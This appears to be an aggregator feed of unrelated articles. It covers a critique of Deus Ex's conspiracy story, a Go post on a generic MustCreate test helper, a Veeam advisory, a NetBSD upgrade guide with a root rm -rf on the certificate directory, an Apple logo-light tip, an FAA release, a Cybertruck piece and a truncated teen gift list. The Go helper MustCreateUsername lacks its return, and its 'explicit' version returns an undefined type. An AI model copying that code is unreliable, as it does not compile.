The most infamous and chilling “proof” of Deus Ex’ s alleged facility for predicting the future is a view of the New York City skyline that you can see in the very first mission. This game that was released fifteen months before the terrorist attacks of September 11, 2001, nonetheless shows only empty sky where the twin towers of the World Trade Center ought to be. As the people who made the game have always been quick to explain, this was not intended as a conscious statement of any sort, much less a prophecy. The towers were left out simply because the rendering engine couldn’t handle any more polygons. But still… what a coincidence! It’s almost enough to make you believe that the ghost of the Oracle of Delphi really does haunt Deus Ex .

The game that follows that disconcerting skyline view is littered with quotes that seem almost as unnervingly prescient, especially when pulled out of context. They seem to apply all too well to our present age of ever greater disparities of wealth, all but unchecked corporate power, solipsistic social media, and widespread surveillance in both digital and physical spaces. Add to all of that the claim that our computers are on the verge of waking up to sentience and taking over the world…

For 100 years, there’s been a conspiracy of plutocrats against ordinary people. In 1945, corporations paid 50 percent of federal taxes. Now they pay about 5 percent. In 1900, 90 percent of Americans were self-employed. Now it’s about 2 percent. It’s called consolidation. Strengthen governments and corporations, weaken people. With taxes, this can be done imperceptibly over time.


This is real freedom: freedom to own property, make a profit, make your life. The West, so afraid of strong government, now has no government. Only financial power. All taxes are social engineering. That’s always been their real purpose. What happens is that politicians get money from big companies, so all the social engineering is for making big companies.


The need to be observed and understood was once satisfied by God. Now we can implement the same functionality with data-mining algorithms. The human organism always worships. First it was the gods, then it was fame (the observation and judgment of others), next it will be the self-aware systems you have built to realize truly omnipresent observation and judgment.

But before we get too hot and bothered over this 26-year-old game that seems to have so accurately captured the world we live in today, we should perhaps take a step back to ask ourselves where its ideas actually came from and what its makers were actually trying to do with them.

This supposed engine of prophecy is in reality one of the last enduring artifacts of 1990s conspiracy culture, that virulent Petri dish of vanished civilizations, crash-landed aliens, hidden historical overlords, secret societies, and more government coverups than an army of Boy Scouts could shake their sticks at. While the guiding ethic of Deus Ex’ s gameplay was “problems, not puzzles,” that of its story was almost as simple: “What would the world be like if every conspiracy theory — every single one of them — was true?” It’s the trashcan cocktail of conspiracy culture, with some of just about everything thrown in. This was done not because its makers earnestly believed in most of what they wrote into their game, but for the most typical reason that any group of game developers do anything: because they thought it would be fun in a game that was to be, as Warren Spector described it, “James Bond meets The X-Files by way of Neuromancer .” To that list of influences can be added Blade Runner , The Terminator , and Snow Crash , along with a small library’s worth of dodgy books about aliens and pseudo-history. As anyone who has been reading these histories of mine for a while will readily recognize , this is not a strikingly original collection of gaming source material. Deus Ex stands out more for its maximalist approach and utter commitment to its subject matter than for the subject matter itself.

What follows may be a fool’s errand, but I’m going to try to summarize — in extremely abbreviated fashion, mind you — the conspiracy-addled backstory of Deus Ex as I understand it. (Credit where it’s due: the script of Deus Ex is primarily the work of Sheldon Pacotti and Austin Grossman, with much input from Warren Spector and the rest of his 30-person team.)

It all goes back at least as far as the Knights Templar — it’s always the Knights Templar , isn’t it? — who during the Crusades set up a banking system that would help them to rule the world, money being power and all. They morphed via several intermediate steps into the Illuminati, the hidden hand behind the last three or four centuries of human history, who numbered among their ranks the Founding Fathers of the United States. (Their symbol is right there on the American dollar bill!)

In 1947, this strand of conspiracy theory collided violently with another one, when a UFO crash-landed in Roswell, New Mexico. The Illuminati suppressed news of the close encounter, setting up a new and ultra-secret arm of the American government, known as Majestic 12, to study the alien artifacts that were recovered. All was more or less well in the national-security state for the better part of a century thereafter; some of the information gleaned from Roswell was strategically leaked to the scientific establishment, other parts held back as instruments of social engineering and mind control.

Some decades into the 21st century, however, the Illuminati fell victim to infighting within their own ranks. Bob Page, a filthy-rich industrialist who was one of the Illuminati’s ruling Council of Five, decided to assassinate his colleagues and take over the organization all by himself. This plan only partially came off, resulting in two dueling would-be Earth-dominating secret societies.

Page, who was quite a piece of work even by Illuminati standards, tried to consolidate his power by unleashing a massive pandemic to kill off billions of people and destabilize the world’s governments. (Have I mentioned that this game really can feel unnervingly prophetic?) Then he deployed an artificial intelligence by the name of Icarus to  invade and subsume the entire Internet. (Have I mentioned… oh, yes, I have, haven’t I?) While he was about all of this, Page genetically engineered himself and a small team of agents into supermen. Among these agents was one J.C. Denton, the player’s avatar in the game proper.

There’s much, much more to it, including a second rogue AI that sets about fighting the first one on the highways and byways of the Internet, but that will have to do for our purposes. The game itself kicks off in 2052 on Liberty Island in New York Harbor, where a gang of “terrorists” — freedom fighters by other people’s definition — are threatening to blow up the statue that gives the island its name. J.C. Denton is called in to stop them. He does so, but while he’s about it he’s given cause to wonder whether he’s been told the whole truth about the organization he works for, which he had heretofore believed to be completely benevolent. The plot takes many twists and turns thereafter, with J.C. Denton bouncing from team to team — including not only the two feuding dominant secret cabals, but others who oppose them both.

As I wrote earlier, it all comes to an end at Area 51, where J.C. Denton is confronted with a choice of three solutions to the chaos. One is to blow up the Internet and all other global communications systems and throw humanity into a new “Dark Ages” for at least the next few hundred years, in the hope that his descendants will make less of a mess of things when they get around to reinventing the technology that he is about to destroy; one is to join with the original Illuminati who have been fighting Bob Page all along and help to rule the world as one of them; and one is to join with the AI to form a true superintelligence combining the best parts of humans and computers, and rule the world alone that way. Warren Spector has often said that he wanted the choices the player makes in Deus Ex to say less about J.C. Denton than they did about the person behind the monitor; this choice of endings is surely the ultimate expression of that impulse. (For the record, I’d have to go for the Dark Ages as the least bad choice in this situation. There’s even a part of me — possibly the most morbid one, granted — that thinks this might not be such a bad thing. Maybe we could use a few centuries to rediscover our humanity: to learn to breathe real air, eat real food, do real work, and talk to one another face to face again.)

So, it’s not as if the story of Deus Ex gives no food for thought. Yet it’s better understood as an exercise in pastiche than philosophy, much less prophecy. The relationship of past, present, and future is actually a quantum one: the act of predicting or warning us about the future can itself produce the very outcomes it depicts. Novelist Thomas M. Disch cottoned onto this inverse relationship in the pages of his Hugo-winning nonfiction book The Dreams Our Stuff is Made Of already a couple of years before Deus Ex was released, in chapters with titles like “The Future as a Lifestyle,” “Science Fiction as Religion,” and “Republicans on Mars.” Not long afterward, the ubiquitous “flip phones” of the aughts, modeled on the communicators found in the original Star Trek television series of the 1960s, provided an indubitable example to everyone of what can happen when engineers who have been raised on vintage science fiction are placed in charge of product design.

More recently, manifestations of the same phenomenon have begun to feel more and more sinister. We live in a world today in which Mark Zuckerberg — admittedly, not one of the brighter bulbs in the Silicon Valley firmament — renamed one of the largest and most profitable companies on the planet after the virtual-reality network found in Neal Stephenson’s Snow Crash , having apparently failed to understand that the novel in question was intended as satire. We live in a world in which Sam Altman and Dario Amodei are constantly arguing over which one’s statistical pattern-matching and probabilistic text-generating machine will spontaneously wake up to consciousness and enslave us all first, all because the novelist Vernor Vinge has told us this is inevitable. We live in a world in which seeing is no longer believing, because any photograph or even video clip we see may be AI-generated. In short, we are all struggling to discern reality through an ever thicker fog of what Jean Baudrillard dubbed “hyperreality” back in the 1980s. Large-language models have become the perfect symbols of the age, what with their congenital inability to separate fact from fiction. Small wonder that some people have convinced themselves that life itself is probably just a giant videogame.

The conspiratorial view of history fits so neatly into this milieu because it actively encourages us to substitute what might be true — or what we would like to be true — for what we can know to be true. Once upon a time, it was easy to see it as just good fun. Certainly most of the makers of Deus Ex never thought they were making a grand statement about the way the world really was or would become as they piled trope upon trope to create their grand conspiratorial edifice, any more than did the makers of The X-Files , the television show from which they drew so much inspiration. But, as literary theorists have long told us, you are still saying something about our world even when you insist that you’re saying nothing at all.

Betwixt and between the quotations that have come to seem so prescient, Deus Ex also bangs away on tired old anarcho-libertarian drums about the evils of the United Nations and the so-called “deep state.” These quotations have aged rather less well than the ones I included above, coming across more like prescriptions for than descriptions of our current problems, revealing Deus Ex to be a game that is as much of its time as timeless. One can all too easily imagine these sentences coming straight from the mouth of Alex Jones, back in the days when he could still be dismissed as just another reactionary nutcase crackling through the ether on the further reaches of the AM-radio dial.

The whole project of world government — going back to the League of Nations — has been funded and manipulated, mainly by wealthy bankers. Remember that the U.N. itself was built on land donated by John D. Rockefeller. The U.N. was founded, not to end war, but to gradually replace national governments with a globalist meritocracy.


The entire executive branch is hand-picked. Nineteen of the last 23 U.S. presidents have been members of the Trilateral Commission. The Trilateral Commission is financed by the Rockefellers and the Rothschilds.

I find the way that Deus Ex turns honest attempts to improve our world — for instance, on the part of the founders of the United Nations and at least some American presidents — into yet more nefarious conspiracies to be as personally aggravating as it is unhelpful to our modern political discourse. Lurking in the accusations against “wealthy bankers” is the oldest, ugliest conspiratorial trope of all, the idea — stemming from the 1903 forgery “The Protocol of the Elders of Zion” — that a cabal of Jews secretly run the world. “Famous conspiracy theories always turn out to be just antisemitism,” this website’s regular commenter Ross theorized after reading a piece I wrote about the thoroughly unpleasant Pierre Plantard , the man behind some of the most outlandish tales surrounding the French village of Rennes-le-Château . The more conspiracy theories I examine in depth, the more true this proposition seems.

The writers of Deus Ex might respond, reasonably enough on the surface, that all of the most controversial statements come from its various feuding characters; it would be as unfair as it would be schizophrenic to claim that the writers are in agreement with every word these characters say. In case I haven’t made myself clear, know that I don’t accuse anyone who worked on this game of being personally antisemitic. The thing is, though, that even explicitly fictional conspiracy theories — heck, even explicitly satirical ones — have a way of overflowing the vessels that are meant to contain them. Take, for instance, all of this business about the Illuminati, a staple of decades of conspiracy culture that naturally made its way into Deus Ex . The original wellspring of it all, in a modern context at least, is the Illuminatus! trilogy of novels, published in 1975 by Robert Shea and Robert Anton Wilson. They are convoluted, endlessly discursive, and filled with unexpected and eye-opening connections… and also a giant joke in the same style as Umberto Eco’s later novel Foucault’s Pendulum , being an intellectual shell game and a parody of the fever dreams of the hippie generation. And yet there were people who decided it was all real, worked it into their worldview, and refused to be dissuaded from belief even by the very authors who had made it all up.

It seems to me that there are two principal dangers here. One is the way that, as our friend Ross so cogently noted, all or almost all conspiracy theories tend to wind up in dark places by the time they reach maturity, no matter how harmless they start out. The other one is still more insidious: by teaching us to look for all of the world’s ills in secret cabals of consciously evil people, conspiracy theories mislead us as to how history fundamentally works, thereby leading us to seek simple solutions to complicated problems. Way too often, the result is demagoguery. Again, we can see this all around us today; I trust that I don’t need to belabor the point further.

Suffice to say then that the story of Deus Ex does make me a little uncomfortable, for all of the reasons I’ve just listed. Even if we acknowledge that it puts its fingers on many of the ailments besetting us today with improbable accuracy, the reasons it posits for those ailments, and thus the ways of combating them that it might lead us to adopt, are deeply misguided.

But that’s just me, viewing it with the benefit of a quarter-century of hindsight. Setting aside sociopolitical concerns, I still wouldn’t call Deus Ex’ s story a great one; the best drama does not arise from merely piling backstory complication upon complication, as television shows like The X-Files and Lost proved when their unwieldy conspiratorial edifices finally collapsed into weary incoherence. Thankfully, though, a videogame seldom needs a great story in the way that so much linear media does; in some cases, it may even be an unnecessary distraction. The story of Deus Ex is effective enough within the frame of this particular videogame, lending it a memorable atmosphere and gravitas while only modestly compromising its bona fides as an immersive sim. I just wish we could all agree not to force it to punch above its weight by assigning it a profundity it hasn’t earned and doesn’t even really aspire to. This fiction is pulp, not prophecy.


Having chewed my way through all of the above, I’m left with just one more question on my docket: what do I think of Deus Ex? You know, just as a computer game?

I must admit that I approach this question with some trepidation. I know that some of you think highly of it indeed; more than one of you have told me that it’s your favorite game of all time. Many years ago now, during one of those occasional discussions we have around here about where these histories of mine ought to end, one or two of you suggested that Deus Ex might be a good place, an argument predicated on the assertion that it brings together all of the strands of narrative and interactivity that I’ve spent so many years running down and wraps them up in a neat little bow. (For the record: I don’t actually plan on stopping. I can already hear the sighs of relief raining down on me from the galleries, along with perchance a few disgruntled grumbles from the Statler and Waldorf types.)

Personally, I wouldn’t go so far in praising Deus Ex . However, let me state very clearly that Deus Ex is a landmark game that is in most ways brilliantly conceived and executed. There is good reason that it struck many folks as a revelation upon its release all those years ago, what with its rich breadth of player possibility and its compelling atmosphere of tension and betrayal. This was the immersive sim’s breakthrough moment, the one that Looking Glass, the inventor of the approach, ironically never got to enjoy. Deus Ex sold over 1 million copies, spawned a series of equally commercially successful if never quite as critically lauded sequels, and influenced the design conversation in games for two and a half decades. Deus Ex knows exactly what it wants to be, and realizes most of its ambitious goals smoothly while avoiding a Kenyan motorway worth of potential potholes.

So, when I tell you that it left me somewhat less thrilled than it did many of you, know that it wasn’t really the game but the player who was at fault. My central stumbling block with a game like this is that it asks a little bit more from me than I’m prepared to give it at this point in my life. My sweet spot of an evening these days is sitting on the sofa next to my wife, bantering about the game I — usually “I,” but sometimes “we” — play on the television screen. This is not the way that Deus Ex wants to be played; it wants me to put on headphones and burrow my way deep down into its hermetic virtual world, where I can start at every shadow and react to every passing footfall. The experience it wants to give me just isn’t the one I’m looking for these days. (In light of that reality, I do wonder how I would respond today to System Shock , a game I still want to rate above this one…)

It’s awful to say, I know, but when I play Deus Ex I can’t escape a certain sense of ennui, not only with all of the tactical energy it demands of me, but with its all too typically “gamerdark” aesthetics and laundry list of influences that I’ve become just a bit too familiar with by this point. On the whole, I prefer some more light to accompany my shade. I’m afraid my favorite Warren Spector joint remains The Worlds of Ultima: Martian Dreams , that delightfully quirky and totally original journey to Edwardian Mars.

But that’s just, like, my opinion, man. You should absolutely try Deus Ex for yourself to form your own. At best, you might discover your new favorite game. And even if you’re a sourpuss like me, you’ll walk away with a better understanding of why it holds that status for so many other people.



Did you enjoy this article? If so, please think about pitching in to help me make many more like it. You can pledge any amount you like.


Sources : The book Deus Ex: Prima’s Official Guide by Chris McCubbin; Computer Gaming World of March 2000 and October 2000; PC Powerplay of September 2000.

Online sources include Warren Spector’s postmortem at the 2017 Game Developers Conference and “How Deus Ex Predicted the Future” by Richard Wordsworth for Kotaku .

Where to Get It: Deus Ex: Game of the Year Edition is available as a digital purchase at GOG.com.

The MustCreate Pattern for Go Tests

Lobsters
mtlynch.io
2026-11-06 10:37:00
Comments...
Original Article

I recently discovered a handy way to make Go tests more readable and less repetitive.

Suppose I have a constructor that can fail:

func NewUsername(raw string) (Username, error) { ... }

And I have another function that takes a Username as an argument:

func (ds Datastore) ReadUser(username Username) (User, error) { ... }

When I write tests for ReadUser , I call NewUsername with a value I know is valid, but I still have to include a lot of verbose error-checking code to convince the compiler that everything is okay:

username, err := NewUsername("joe123")

// This is silly because *I* know joe123 is a valid username, so this should
// never happen.
if err != nil {
  t.Fatalf("failed to create username: %v", err)
}

// Perform the test assertion I actually care about.
user, err := store.ReadUser(username)
if got, want := user.Name.String(), "joe123"; got != want {
  t.Errorf("username=%v, want=%v", got, want)
}

My old solution: one new helper function per type 🔗︎

Until a few months ago, I avoided the verbose error checking by writing a helper function like MustCreateUsername that wraps NewUsername with the expectation that it never returns a non- nil error value:

user, err := store.ReadUser(MustCreateUsername(t, "joe123"))
if got, want := user.Name.String(), "joe123"; got != want {
  t.Errorf("username=%v, want=%v", got, want)
}

The implementation of MustCreateUsername looks how you’d expect:

func MustCreateUsername(t testing.TB, raw string) Username {
  t.Helper()
  username, err := NewUsername(raw)
  if err != nil {
    t.Fatalf("invalid username: %s", raw)
  }
}

The helper function strategy worked fine, but it scales poorly. Eventually, my repos become littered with MustCreateFoo and MustCreateBar for every type in my app.

New solution: A single, generic MustCreate helper 🔗︎

In 2022, Go 1.18 added support for generics . I like the idea of generics, but I rarely encounter problems where generics are the solution.

I recently realized that generics are the better way to solve my sprawling MustCreateX problem. Instead of defining a helper MustCreateX for every type, I defined a single, generic MustCreate test helper, so my test becomes:

user, err := store.ReadUser(testutil.MustCreate(t, NewUsername, "joe123"))
if got, want := user.Name.String(), "joe123"; got != want {
  t.Errorf("username=%v, want=%v", got, want)
}

The magic is the generic MustCreate function:

func MustCreate[RawInput, CreatedValue any](
  t testing.TB,
  create func(RawInput) (CreatedValue, error),
  rawInput RawInput,
) CreatedValue {
  t.Helper()
  createdValue, err := create(rawInput)
  if err != nil {
    t.Fatalf("failed to create test value: %v", err)
  }
  return createdValue
}

I have trouble reasoning about generics, so I’ll walk through the function implementation. I invoke MustCreate like this in my tests:

testutil.MustCreate(t, NewUsername, "joe123")

The above call is equivalent to this more explicit version:

testutil.MustCreate[string, Username](t, NewUsername, "joe123")

When I call MustCreate here, RawInput is string (the type of the raw username value), and CreatedValue is Username (the return type). It’s equivalent to an implementation that looks like this:

func MustCreate(
  t testing.TB,
  create func(string) (Username, error),
  rawInput string,
) CreatedValue {
  t.Helper()
  createdValue, err := create(rawInput)
  if err != nil {
    t.Fatalf("failed to create test value: %v", err)
  }
  return createdValue
}

Extending to multi-param constructors 🔗︎

What about constructors that have more than one parameter?

func NewRange(start int, end int) (Range, error) { ... }

In those cases, I write an additional helper called MustCreate2 :

range := testutil.MustCreate2(t, models.NewRange, 0, 5)

The implementation of MustCreate2 looks just like MustCreate but with an additional type for the second parameter:

func MustCreate2[RawInput1, RawInput2, CreatedValue any](
  t testing.TB,
  create func(RawInput1, RawInput2) (CreatedValue, error),
  rawInput1 RawInput1,
  rawInput2 RawInput2,
) CreatedValue {
  t.Helper()
  createdValue, err := create(rawInput1, rawInput2)
  if err != nil {
    t.Fatalf("failed to create test value: %v", err)
  }
  return createdValue
}

Conclusion 🔗︎

The MustCreate pattern is nothing revolutionary, but it’s a technique that improved my Go tests and reduced some mindless toil from my dev work.

Be the first to know when I post cool stuff

Subscribe to get my latest posts by email.

Veeam warns of Software Appliance boot failures on AMD EPYC hosts

Bleeping Computer
www.bleepingcomputer.com
2026-11-06 10:25:31
​Veeam warned customers about boot failures affecting Software Appliance virtual machines (VMs) on hosts with AMD EPYC processors. [...]...
Original Article

Veeam

​Veeam warned customers about boot failures affecting Software Appliance virtual machines (VMs) on hosts with AMD EPYC processors.

The company's Software Appliance VMs are pre-configured, Linux-based virtual machines that let admins run the Veeam Backup & Replication backup software suite on Linux devices without manually installing dependencies or configuring the software.

To comply with corporate and government security frameworks, the underlying Linux kernel runs integrated health and cryptographic checks (such as jitterentropy health tests) in FIPS mode during early boot.

image

However, as the company explained in a Wednesday advisory, these VMs will fail to boot and will crash with a kernel panic after failing an early-boot FIPS-mode jitterentropy check on some AMD EPYC processors.

"A Veeam Software Appliance (Linux-based Veeam Backup & Replication) virtual machine running on a host with an AMD EPYC processor intermittently fails to boot after a reboot, including a reboot that follows an update that installs a new kernel," it said .

"This issue occurs because the Linux kernel used by the Veeam Software Appliance runs a jitterentropy health test in FIPS mode during early boot, and the test intermittently fails on certain AMD EPYC processors, including AMD EPYC 7262, 7302, and 7F72. When the test fails, the kernel stops the boot process with a kernel panic."

This known issue originates in the Linux kernel version used by the Veeam Software Appliance and affects Veeam Software Appliance version 13.1 and later.

According to Veeam, users are seeing "Kernel panic - not syncing: jitterentropy: Initialization failed with host not compliant with requirements: 9" kernel panic errors on impacted systems.

Mitigation available

To mitigate this issue, Veeam told IT administrators to redeploy the appliance to a Linux host with a different processor.

If the appliance cannot be redeployed on a system with an unaffected processor, IT admins are advised to disable automatic updates for the appliance and install updates manually (while monitoring the VM as it reboots).

"If the kernel panic occurs, power off the virtual machine and power it on again. A restart of the guest operating system does not recover the virtual machine," Veeam added. "After the appliance has booted successfully, no further errors are expected, and the operation of Veeam Backup & Replication is not affected."

Earlier today, Veeam also said that some of its products are affected by a critical Linux kernel vulnerability (CVE-2026-98432) in the IPv4 TCP networking code that allows remote unauthenticated attackers to execute commands as root on servers running Multipath TCP (MPTCP) listeners.

The company has fixed the CVE-2026-98432 flaw for some impacted Veeam components and is now pushing the patched kernel to affected systems either as a private fix or through the Veeam Updater.

Veeam's products are used by more than 550,000 customers, including 74% of Global 2,000 firms and 82% of Fortune 500 companies.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

Upgrading NetBSD from 11.0 to 11.1

Lobsters
www.dwarmstrong.org
2026-11-06 10:22:55
Comments...
Original Article

Last edited on 2026-11-05 • Tagged under #netbsd #bsd

I successfully upgraded my NetBSD amd64 system (with one hiccup, detailed below) from 11.0 to 11.1:

$ uname -v
NetBSD 11.1 (GENERIC) #0: Mon Nov  2 16:34:32 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC

This was my first time upgrading NetBSD and I’m happy with how it all turned out!

NetBSD’s Guide describes two different methods for performing an upgrade: boot from NetBSD install media and use sysinst(8) , or use sysupgrade(8) to do an in-place upgrade of the system. With a bit of research, I get the sense that for major version changes (i.e 10.1 -> 11.1) sysinst is the preferred method, while sysupgrade is a convenient alternative for minor version bumps.

So sysupgrade it is. First, I install the package:

# pkgin update
# pkgin install sysupgrade

Then simply run:

# sysupgrade auto https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.1/$(uname -m)/

This will proceed to download the kernel and sets appropriate for your computer, unpack them, then prompt you to review and merge new configuration changes. There were only a few files that needed hands-on editing like passwd and sshd_config and I liked how NetBSD shows the diffs between the old and new files and its handling of merging differences.

I had one postinstall check that failed:

# postinstall checks failed: opensslcertsrehash

I resolved the issue by wiping the legacy cache, then letting certctl(8) take over by rehasing the certs:

# rm -rf /etc/openssl/certs/*
# certctl rehash

Verify certctl successfully populated the directory:

# certctl list

I manually re-run postinstall fix [issue] and confirm that it now passes inspection (which it did):

# sysupgrade postinstall fix opensslcertsrehash
# sysupgrade clean

Reboot the computer and start enjoying the upgrade!

NOTE
In addition, edit /usr/pkg/etc/pkgin/repositories.conf and point pkgin to the new 11.1 repositories.

You can like, share, or comment on this post on the Fediverse 💬

Apple Support: ‘About the Illuminated Apple Logo on MacBook Pro With PROLED XDR Display’

Daring Fireball
support.apple.com
2026-11-06 10:03:51
Apple Support: To make the Apple logo dark in all lighting conditions, you can turn off its illumination using Terminal, which is in the Utilities folder of your Applications folder. You can also use Spotlight to find and open it. Type or paste this command in Terminal, then press Return: sudo...
Original Article

The Apple logo behind the built-in display is illuminated whenever the Mac is awake. It automatically dims or brightens based on the brightness level of the built-in screen and the lighting conditions detected by the computer’s ambient light sensor. For all screen-brightness levels, the Apple logo will be dimmer in a dim room and brighter in a bright room.

Requires MacBook Pro with PROLED XDR Display

To make the Apple logo dark in all lighting conditions, you can turn off its illumination using Terminal, which is in the Utilities folder of your Applications folder. You can also use Spotlight to find and open it.

Type or paste this command in Terminal, then press Return:

sudo defaults write com.apple.CoreBrightness LEBacklightMode -int 0

Type your administrator password when prompted (Terminal doesn’t show the password as it's typed), then press Return. Logo illumination turns off immediately.

This change affects all macOS user accounts, including when starting up from macOS Recovery. When migrating to a new Mac , the setting transfers to the new Mac.

To turn logo illumination on again, enter this command in Terminal:

sudo defaults delete com.apple.CoreBrightness LEBacklightMode

Reinstalling macOS also turns illumination back on.

Published Date:

FAA Begins Retiring Decades Old Floppy Disks from Air Traffic Control

Hacker News
www.faa.gov
2026-11-06 10:03:24
Comments...
Original Article
Skip to main content

USA Banner

Trump’s Transportation Secretary Sean P. Duffy Begins Retiring Decades Old Floppy Disks from Air Traffic Control as Part of Ongoing Modernization Effort Deployment of Brand New Air Traffic Control Continues at Record Pace

Thursday, November 5, 2026

WASHINGTON, D.C. - U.S. Transportation Secretary Sean P. Duffy today announced the Federal Aviation Administration (FAA) is continuing its historic modernization of America’s air traffic control system by replacing outdated floppy disks that contain vital weather and other critical information with a streamlined, 21st-century system.

The Enterprise – Information Display System (E-IDS) replaces four systems dating back to the 1980s that are in more than 400 FAA facilities. E-IDS provides a single, secure system that gives air traffic controllers faster access to information they need. It also will reduce costly repairs and workarounds while enhancing safety for the American flying public.

The first five facilities to receive these upgrades include:

  • Atlantic City International Airport
  • Nashville International Airport
  • Greater Rochester International Airport
  • Data processing hubs in Atlanta and Salt Lake City

The FAA plans to install E-IDS in 435 sites by the end of 2028.

“Good news America: floppy disks are out, 21st century tech is in,” said U.S. Transportation Secretary Sean P. Duffy . “The greatest nation in the world deserves a state-of-the-art air traffic control system, and under President Trump, we’re delivering just that. The installation of E-IDS is just the latest signal that America’s brand new air traffic control system is coming at lightning speed.”

Click HERE or above to watch a video on the new technology.

“E-IDS gives air traffic controllers the information they need to make timely decisions and keep the flying public safe,” said FAA Administrator Bryan Bedford . “We’re moving away from outdated, manual processes and replacing technology that once relied on floppy disks with a modern system that allows controllers to instantly share critical flight alerts, restricted airspace schedules and pilot reports across the National Airspace System.”

You can track the progress of the Brand New Air Traffic Control System (BNATCS) by state and airport on our Modern Skies website .

Additional information:

E-IDS is a digital display board that puts important operational information in one place so controllers can quickly see updates, status information, and alerts they need to keep air traffic moving safely and efficiently. This information includes notices about equipment issues and disruptions, air traffic conditions, weather impacts, and important advisories.

E-IDS will also improve how Pilot Reports (PIREPS) and Notices to Airmen (NOTAMs) are collected and distributed. PIREPs are first-hand reports on weather conditions from pilots to air traffic controllers. Both provide vital information on real-time pilot conditions and improve situational awareness for controllers.

Reminder:

Under Secretary Duffy’s leadership, the FAA is rapidly moving to make upgrades to our air traffic control system nationwide. We have already:

  • Replaced 69% of copper wires
  • Installed Surface Awareness Initiative (SAI) systems at 143 towers
  • Transitioned 26 towers to electronic flight strips
  • Installed 226 IP Voice Switches

Where Each U.S. State Gets Its Tax Revenue From

Hacker News
www.visualcapitalist.com
2026-11-06 10:02:07
Comments...

RIP Cybertruck. You Were Unloved, Unwanted, and Utterly Absurd

Hacker News
www.wired.com
2026-11-06 10:01:38
Comments...
Original Article

Elon Musk, in a post on X , has officially called time on the Cybertruck, stating that “Tesla will be winding down production of the Cybertruck at Gigafactory Texas around the middle of next year to make room for increased Cybercab production.”

Produced for less than four years, the polarizing pickup is seemingly dying as it lived, with the news being greeted in a flurry of replies in praise of the EV as well as deriding it. James Star, claiming to be a Tesla employee, posted that it was “the saddest news! Cybertruck (was) the best car Tesla sold,” right next to a user called Captain Ford who simply replied to Musk with “Fuck that shitbox.”

Tesla has not responded to WIRED’s request for comment and clarification that the Cybertruck will no longer be made at all. The Cybertruck is exclusively made at Gigafactory Texas, as this is apparently the only Tesla facility equipped with the machinery required to manufacture the truck’s unique stainless steel body, which supposedly started to rust in some cases.

Despite whipping up a fevered number of reservations—allegedly more than a million according to Musk, who at the end of 2023 crowed that demand was “off the charts!”—the truck failed to sell, shifting less than 50,000 units in total by March last year.

EVWire cites Kelley Blue Book data suggesting that Tesla sold 11,586 Cybertrucks in the first three quarters of this year in the US, down 28 percent year-over-year, adding that Musk’s announcement post came about 80 minutes after Tesla raised US Cybertruck prices and paused new orders for the entry-level Dual-Motor AWD version.

The Cybertruck proved not only to be wildly unpopular, it was also beset by troubles before it even reached customers. In 2023, WIRED covered a leaked Tesla report dated January 25, 2022, that showed the Cybertruck had basic design flaws , and that the preproduction “alpha” version was struggling with problems with its suspension, body sealing, noise levels, handling, and braking.

In November 2019, when Musk stepped onto a stage in California to launch his new cyberpunk-styled electric pickup, he decided to demonstrate the strength of the “unbreakable” glass windows by hurling a steel ball at them. In what has now entered into public relations folklore, the demo truck’s windows smashed not once, but twice. Musk swore, then joked: “There’s room for improvement.”

There most certainly was. In April 2024, a recall was issued for the Cybertruck because its accelerator pedal pad could come loose and get trapped by interior trim, which had the frightening potential of pushing the car to full speed.

In March last year, Tesla had to recall nearly all the Cybertrucks it had then produced because a stainless steel trim panel could become detached from the vehicle while driving, blaming the problem on the wrong type of glue, a new adhesive “not prone to environmental embrittlement.”

Back in May this year, Cybertrucks were struck down by the wrong type of grease, which meant that their wheels could potentially fall off . In what was then the EV’s 11th recall, it was declared that the Rear Wheel Drive (RWD) Cybertruck Long Range model might have faulty brake rotors. In a notice posted by the National Highway Traffic Safety Administration, Tesla stated that “brake rotor stud holes may crack and allow the stud to separate from the wheel hub.” Such a situation might have seen some RWD Cybertruck owners merrily driving along only to then be disconcertingly overtaken by their own wheels.

Musk even tried to get President Donald Trump to buy one of his Cybertrucks, creating an impromptu Tesla showroom on the White House South Lawn , no less. But, sadly, even President Trump must have smelt something was off about the truck as instead he shunned the pickup and opted for a 200-mph Model S Plaid in ultra red, clearly impressed with the interior, remarking that “ Everything’s computer! ”

At the end of 2024, Karl Brauer, executive analyst at car ranking service iSeeCars , told WIRED that he’d calculated that the Cybertruck’s six recalls to date at the time made the EV “ worse than 91 percent ” of all other 2024 vehicles.

Yet, despite supposedly being so unreliable, the Cybertruck did find a small but loyal audience . WIRED profiled a number of owners last year, all fervently in love with their vehicles, but who were periodically forced to endure insults and taunts that they were Nazis, perhaps referring to an on-stage gesture Musk made at the start of 2025.

However, despite evidence seemingly to the contrary, Musk claims he is killing the Cybertruck, not because of its unreliability and staggering unpopularity, but because he wishes to focus instead on Cybercab, an autonomous EV that is central to Tesla’s robotaxi ambitions but itself has had a rocky start .

Currently operating in Austin only, with a fleet supposedly numbered only in the hundreds, Musk apparently wants to ramp up production dramatically since he confirmed on an earnings call the first cab came off the line in February.

Musk sees Cybercab as very much the vision of Tesla’s future. The CEO has even said that Tesla should no longer be regarded as an automaker but as a robotics and autonomous vehicle company . “Cybertruck was an incredible ⁠technology development platform and lives on through Cybercab,” Cybertruck lead engineer Wes Morrill said on X .

The 36 best Christmas gifts in the UK for every kind of teenager – chosen by teens

Guardian
www.theguardian.com
2026-11-06 10:00:44
From Polaroid cameras to skincare, loungewear to gaming accessories, here are the presents teenage boys and girls told us they rate for 2026 • Homemade Christmas gifts anyone can make Because there is no doubt your teen thinks they know better than you, we took them at their word and asked what they...
Original Article

B ecause there is no doubt your teen thinks they know better than you, we took them at their word and asked what they think makes the perfect gift for Christmas (or other religious festival they celebrate).

To ensure the selection was truly tried and tested, we asked them only about presents they have already received, love and use constantly. We also made sure to ask a broad range of teens – from book lovers to tech fiends and plenty in between – to try to represent the myriad tastes of this age group.


The best Christmas gifts for teens in 2026


Lego lovers

A Lego roller skate model with yellow laces and large pink wheels

Lego retro roller skate

£18.74 at John Lewis
£18.74 at Amazon

Lego keeps you entertained for a long time. You can keep coming back to it, take it apart and rebuild it, and it’s really good to collect. Anon, 14


A green Lego Technic Lamborghini model with black roof and large rear wing

Lego Technic Lamborghini Hurac án

£40 at Argos
